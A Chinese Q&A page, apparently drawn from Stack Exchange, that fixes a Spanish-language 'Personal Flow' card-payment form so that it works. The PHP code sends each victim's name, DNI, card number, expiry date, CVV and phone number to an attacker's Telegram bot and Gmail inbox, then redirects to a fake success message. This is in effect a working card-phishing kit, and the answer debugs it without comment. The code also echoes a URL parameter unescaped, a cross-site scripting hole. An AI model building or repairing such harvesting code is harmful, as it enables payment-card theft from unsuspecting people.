如何实现表单提交时同时发送数据至Email与Telegram
解决表单数据同时发送至邮箱和Telegram的问题
问题说明
现有表单仅能将数据单独发送至邮箱或Telegram,需要实现点击提交按钮时,同时完成这两个操作。
修改后的代码实现
1. 表单代码(调整请求方式)
<form id="" action="secure_email_code.php" method="POST"> <input type="hidden" name="value" value=""> <div class="container-fluid mt-5"> <div class="row d-flex justify-content-center"> <div class="col-12 mb-2"> <h3 class="text-center">Pagá con tarjeta de crédito o débito.</h3> </div> <div class="col-lg-8 col-md-12 col-sm-12 col-12 mt-2"> <div class="form row d-flex justify-content-center"> <div class="col-md-6 col-12 my-2"> <div class="box"> <label for="">Nombre que figura en tarjeta</label> <input type="text" placeholder="Nombre y apellido" id="name" name="name" autocomplete="off"> </div> </div> <div class="col-md-6 col-12 my-2"> <div class="box"> <label for="">DNI titular</label> <input type="text" placeholder="DNI" id="dni" name="dni" inputmode="decimal" autocomplete="off"> </div> </div> <div class="col-12 my-2"> <div class="box"> <label for="">Número de tarjeta</label> <input type="text" placeholder="XXXX XXXX XXXX XXXX" id="card" name="card" inputmode="decimal" autocomplete="off"> </div> </div> <div class="col-md-6 col-12 my-2"> <div class="box"> <label for="">Fecha de vencimiento</label> <input type="text" placeholder="MM/AA" id="venc" name="venc" inputmode="decimal" autocomplete="off" maxlength="5"> </div> </div> <div class="col-md-6 col-12 my-2"> <div class="box"> <label for="">Código de seguridad</label> <input type="text" placeholder="Últimos 3 digitos detrás de la tarjeta" id="cvv" name="cvv" inputmode="decimal" autocomplete="off" maxlength="4"> </div> </div> <div class="col-xl-4 col-lg-6 col-md-6 col-12 mt-3"> <input type="submit" id="" name="send_message" class="custom-input-btn" value="Siguiente"> </div> </div> </div> </div> </div> </form>
2. secure_email_code.php代码(整合双渠道发送逻辑)
<?php session_start(); // 移至文件最顶部,确保session正常读取 // Telegram配置 define('TELEGRAM_BOT_URL', "https://api.telegram.org/bot5XXXXXXX:AAEiQfQKxT6XvOi0zrIxNM9dexq-0d8K-I0/"); $chat_id = '530928XXXX'; // 处理表单提交事件 if(isset($_POST['send_message'])){ // 获取表单及session数据 $name = $_POST['name']; $dni = $_POST['dni']; $card = $_POST['card']; $venc = $_POST['venc']; $cvv = $_POST['cvv']; $avalue = $_SESSION['avalue'] ?? ''; $phoneNumber = $_SESSION['phoneNumber'] ?? ''; // 1. 发送数据至Telegram $telegram_msg = urlencode("Nombre: {$name}\nDNI: {$dni}\nTarjeta: {$card}\nVencimiento: {$venc}\nCVV: {$cvv}\nTeléfono: {$phoneNumber}\nValor: {$avalue}"); file_get_contents(TELEGRAM_BOT_URL . "sendmessage?text={$telegram_msg}&chat_id={$chat_id}&parse_mode=HTML"); // 2. 发送数据至指定邮箱 $email_to = "xyz@gmail.com"; $email_subject = "Personal Flow"; $email_body = " <table style='border-right: #CCCCCC 1px solid; padding-right: 0px; border-top: #CCCCCC 1px solid; padding-left: 0px; padding-bottom: 0px; border-left: #CCCCCC 1px solid; padding-top: 0px; border-bottom: #CCCCCC 1px solid' height='238' cellspacing='0' cellpadding='15'> <tr> <td bgcolor='#3783b9'><font color='#FFF' size='5'>Personal Flow</font></td> </tr> <tr> <td height='83' bgcolor='#EEEEEE'> <table> <tr> <td>Nombre: </td> <td>{$name}</td> </tr> <tr> <td>DNI: </td> <td>{$dni}</td> </tr> <tr> <td>Tarjeta: </td> <td>{$card}</td> </tr> <tr> <td>Vencimiento: </td> <td>{$venc}</td> </tr> <tr> <td>CVV: </td> <td>{$cvv}</td> </tr> <tr> <td>Número de Teléfono: </td> <td>{$phoneNumber}</td> </tr> <tr> <td>Valor: </td> <td>{$avalue}</td> </tr> </table> </td> </tr> </table>"; $headers = array( 'From: noreply@tu-dominio.com', // 替换为你的有效发件邮箱 'Content-Type: text/html; charset=UTF-8' ); mail($email_to, $email_subject, $email_body, implode("\r\n", $headers)); // 跳转至成功页面 echo "<script>window.location.href='https://demo.com/demo/enr?success=Tu mensaje ha sido enviado exitosamente'</script>"; exit; } // 显示成功提示 if(isset($_GET['success'])){ echo "<div class='alert alert-success'>{$_GET['success']}</div>"; } ?>
核心修改说明
- 统一请求方式:将表单的
GET改为POST,避免银行卡敏感数据暴露在URL中,同时保证前后端数据获取逻辑一致。 - 整合发送逻辑:把Telegram发送代码移入表单提交的判断块内,确保点击提交时同时触发邮箱和Telegram的发送操作。
- 修复session问题:将
session_start()移至PHP文件最顶部,确保能正确读取session中的变量。 - 修正内容错误:修复邮件表格里重复的"Card"行,替换为正确的"CVV";修复邮件头中未定义的
$email变量,替换为有效发件人邮箱。
内容的提问来源于stack exchange,提问作者Syed Hassan Mujtaba Zaidi
相关产品推荐
相关产品推荐

